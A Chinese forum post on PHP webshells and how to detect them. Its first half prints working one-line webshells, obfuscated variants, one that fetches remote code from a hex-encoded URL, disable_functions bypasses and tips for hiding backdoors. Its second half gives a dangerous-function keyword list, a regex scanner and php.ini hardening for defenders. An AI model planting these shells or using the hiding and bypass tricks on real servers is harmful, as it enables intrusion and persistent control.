PHP安全之webshell和后门检测

[复制链接]
查看43 | 回复0 | 2020-7-30 00:01:48 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
阅读目录(Content)
一、各种webshell
一句话木马,其形式如下所示:
  1. <?php
  2. if(isset($_REQUEST['cmd'])){
  3.     $cmd = ($_REQUEST["cmd"]);
  4.     system($cmd);
  5.     echo "</pre>$cmd<pre>";
  6.     die;
  7. }
  8. ?>
复制代码
这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的
a、使用str_replace函数
  1. <?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
复制代码
//说明:请求参数  
  1. ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
  2. 最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>
复制代码
b、使用str_rot13函数
  1. <?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?>
复制代码
//说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
c、使用include函数
  1. <?php $filename=$_GET['code'];include ($filename); ?>
复制代码
//由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
d、使用pack函数
  1. <?php if(empty($_SESSION['api']))
  2.     $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
  3.     @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
  4. ?>
复制代码
e、使用session
  1. <?php
  2. session_start();
  3. $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
  4. $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))',
复制代码
f、隐藏在html页面
  1. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  2. <html><head>
  3. <title>404 Not Found</title>
  4. </head><body>
  5. <h1>Not Found</h1>
  6. <p>The requested URL was not found on this server.</p>
  7. </body></html>
  8. <?php
  9. @preg_replace("/[pageerror]/e",$_POST['error'],"saft");
  10. header('HTTP/1.1 404 Not Found');
  11. ?>
复制代码
g、使用assert函数
  1. <?php assert($_POST[sb]);?>
复制代码
或者
  1. <?php
  2. $item['wind'] = 'assert';
  3. $array[] = $item;
  4. $array[0]['wind']($_POST['iixosmse']);
复制代码

h、使用copy函数复制文件
  1. <?php
  2. $reg="c"."o"."p"."y";
  3. $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
复制代码
二、代码混淆
  1. <?php
  2. @$_++; // $_ = 1
  3. $__=("#"^"|"); // $__ = _
  4. $__.=("."^"~"); // _P
  5. $__.=("/"^"`"); // _PO
  6. $__.=("|"^"/"); // _POS
  7. $__.=("{"^"/"); // _POST
  8. ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
  9. ?>
复制代码
或者
  1. <?php
  2.     $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
  3.     $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
  4.     $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
  5.     $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
  6.     $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
  7.     $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
  8.     $jgfi = $ftdf("l","","lclrlelaltel_functlilon");
  9.     $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
  10. ?>
复制代码
可以使用weevely工具来生成,代码伪装避开各种主流的杀毒软件
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
更常用的混淆视听的方法:(这种是服务器层面的混淆)
  • 修改文件时间
  • 改名融入上传后所在文件夹,让人无法直观看出文件异常
  • 文件大小的伪装处理(至少看起大小像个正常脚本)
  • 选好藏身路径并尽量少的访问
  • 畸形目录%20

三、如果绕过配置文件
一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?
1、使用反射
  1. <?php
  2. $func = new ReflectionFunction("system");
  3. echo $func->invokeArgs(array("$_GET[c]"));
  4. ?>
复制代码
2、使用callback
php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php
  1. <?php
  2. $cb= 'system';
  3. ob_start($cb);
  4. echo $_GET[c];
  5. ob_end_flush();
  6. ?>
复制代码
php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

四、安全人员应该怎么做1、如何查找
直观寻找方式也有很多
  • 通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)
  • 通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
  • 通过access.log访问日志分析

下面是360 zhujiweishi ,在linux服务器上非常简单好用
通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)
  • 系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
  • 代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

通过简单的python脚本
  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3.   
  4. import os,sys
  5. import re
  6. import hashlib
  7. import time
  8.   
  9. rulelist = [
  10.     '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',
  11.     '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',
  12.     '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',
  13.     '(function\_exists\s*\(\s*[\'|"](popen|exec|proc\_open|passthru)+[\'|"]\s*\))',
  14.     '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',
  15.     '(\$(\w+)\s*\(\s.chr\(\d+\)\))',
  16.     '(\$(\w+)\s*\$\{(.*)\})',
  17.     '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',
  18.     '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',
  19.     '(\$\_\=(.*)\$\_)',
  20.     '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',
  21.     '(new com\s*\(\s*[\'|"]shell(.*)[\'|"]\s*\))',
  22.     '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',
  23.     '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',
  24.     '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',
  25.     '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',
  26.     '((include|require|include\_once|require\_once)+\s*\(\s*[\'|"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|"]\s*\))',
  27.     '(eval\s*\(\s*\(\s*\$\$(\w+))',
  28.     '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',
  29.     '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
  30.     ]
  31.   
  32. def scan(path):
  33.     print('           可疑文件         ')
  34.     print('*'*30)
  35.     for root,dirs,files in os.walk(path):
  36.         for filespath in files:
  37.             if os.path.getsize(os.path.join(root,filespath))<1024000:
  38.                 file= open(os.path.join(root,filespath))
  39.                 filestr = file.read()
  40.                 file.close()
  41.                 for rule in rulelist:
  42.                     result = re.compile(rule).findall(filestr)
  43.                     if result:
  44.                         print '文件:'+os.path.join(root,filespath )
  45.                         print '恶意代码:'+str(result[0][0:200])
  46.                         print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
  47.                         print '\n\n'
  48.                         break
  49. def md5sum(md5_file):
  50.     m = hashlib.md5()
  51.     fp = open(md5_file)
  52.     m.update(fp.read())
  53.     return m.hexdigest()
  54.     fp.close()
  55.   
  56. if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477':
  57.     if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b':
  58.         pass
  59.     else:
  60.         print('*'*40)
  61.         print "\033[31m sshd被修改,疑似留有后门\033[m"
  62.         print('*'*40)
  63.         time.sleep(5)
  64. if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55':
  65.     if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838':
  66.         pass
  67.     else:
  68.         print('*'*40)
  69.         print "\033[31m sshd被修改,疑似留有后门\033[m"
  70.         print('*'*40)
  71.         time.sleep(5)
  72. if __name__=='__main__':
  73.   
  74.     if len(sys.argv)!=2:
  75.         print '参数错误'
  76.         print "\t按恶意代码查找:"+sys.argv[0]+'目录名'
  77.     if os.path.lexists(sys.argv[1]) == False:
  78.         print "目录不存在"
  79.         exit()
  80.     print ('\n\n开始查找:'+sys.argv[1])
  81.     if len(sys.argv) ==2:
  82.         scan(sys.argv[1])
  83.     else:
  84.         exit()
复制代码
2、如何防范php.ini 设置
  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
  • 设置“safe_mode”为“on”
  • 禁止“open_basedir” 可以禁止指定目录之外的文件操作
  • expose_php设为off 这样php不会在http文件头中泄露信息
  • 设置“allow_url_fopen”为“off” 可禁止远程文件功能
  • log_errors”设为“on” 错误日志开启

php编码方面
  • 所有用户提交的信息  post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)
  • 经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码
  • 文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题
  • 如用开源代码,有补丁出来的话,尽快打上补丁
  • 如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。

服务器配置
配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限
nginx或者apache配置的时候,不能访问的目录一定要配置为deny


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

灌水成绩
399
主题
403
帖子
1509
积分
等级头衔
积分成就
  • 威望: 0
  • 贡献: 1106
  • 金钱: 0
  • 违规:
  • 在线时间:149 小时
  • 注册时间:2020-2-11
  • 最后登录:2020-8-11
个人勋章

最佳新人活跃会员热心会员突出贡献优秀版主论坛元老精贴王灌水之王荣誉管理

联系方式